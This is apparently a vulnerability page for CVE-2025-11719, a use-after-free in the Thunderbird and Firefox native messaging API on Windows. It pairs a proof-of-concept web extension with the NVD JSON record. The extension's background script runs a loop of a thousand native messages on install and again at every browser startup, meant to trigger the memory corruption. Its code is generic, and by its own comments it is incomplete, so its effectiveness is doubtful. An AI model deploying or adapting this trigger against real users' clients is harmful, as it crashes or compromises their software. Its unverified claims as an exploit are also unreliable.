CVE-2025-11719

/* CVE-2025-11719 - Thunderbird Native Messaging API Use-After-Free PoC */ // This PoC demonstrates the vulnerability concept in a Web Extension context // Note: Actual exploitation requires specific timing and memory layout control // manifest.json { "name": "Native Messaging UAF PoC", "version": "1.0", "description": "PoC for CVE-2025-11719", "permissions": ["nativeMessaging"], "manifest_version": 2 } // background.js // Trigger the UAF by rapidly sending native messages to exploit the race condition const nativeAppName = "com.example.nativeapp"; // Must be registered in Windows registry function triggerUAF() { // Rapidly create and destroy native messaging connections // to trigger the use-after-free in the IPC channel management for (let i = 0; i < 1000; i++) { try { chrome.runtime.sendNativeMessage(nativeAppName, { command: "trigger_uaf", payload: new Array(1024).fill("A"), iteration: i }, function(response) { // Callback may access freed memory if (chrome.runtime.lastError) { console.log("Error: " + chrome.runtime.lastError.message); } }); } catch (e) { console.log("Exception caught: " + e.message); } } } // Listen for extension installation/startup chrome.runtime.onInstalled.addListener(function() { console.log("CVE-2025-11719 PoC Extension Installed"); // Trigger the vulnerability triggerUAF(); }); // Also trigger on browser startup chrome.runtime.onStartup.addListener(function() { triggerUAF(); });

{"cve": {"id": "CVE-2025-11719", "sourceIdentifier": "[email protected]", "published": "2025-10-14T13:15:38.287", "lastModified": "2026-04-13T15:16:41.257", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Starting in Thunderbird 143, the use of the native messaging API by web extensions on Windows could lead to crashes caused by use-after-free memory corruption. This vulnerability was fixed in Firefox 144 and Thunderbird 144."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:*:*:*:*", "versionStartIncluding": "143.0", "versionEndExcluding": "144.0", "matchCriteriaId": "4B82B1C7-1B0F-45B7-8234-D85DDEB63886"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:*:*:*:*", "versionStartIncluding": "143.0", "versionEndExcluding": "144.0", "matchCriteriaId": "08E54DCC-0AA4-47DE-9DF2-C4135B0D433D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1991950", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-81/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-84/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}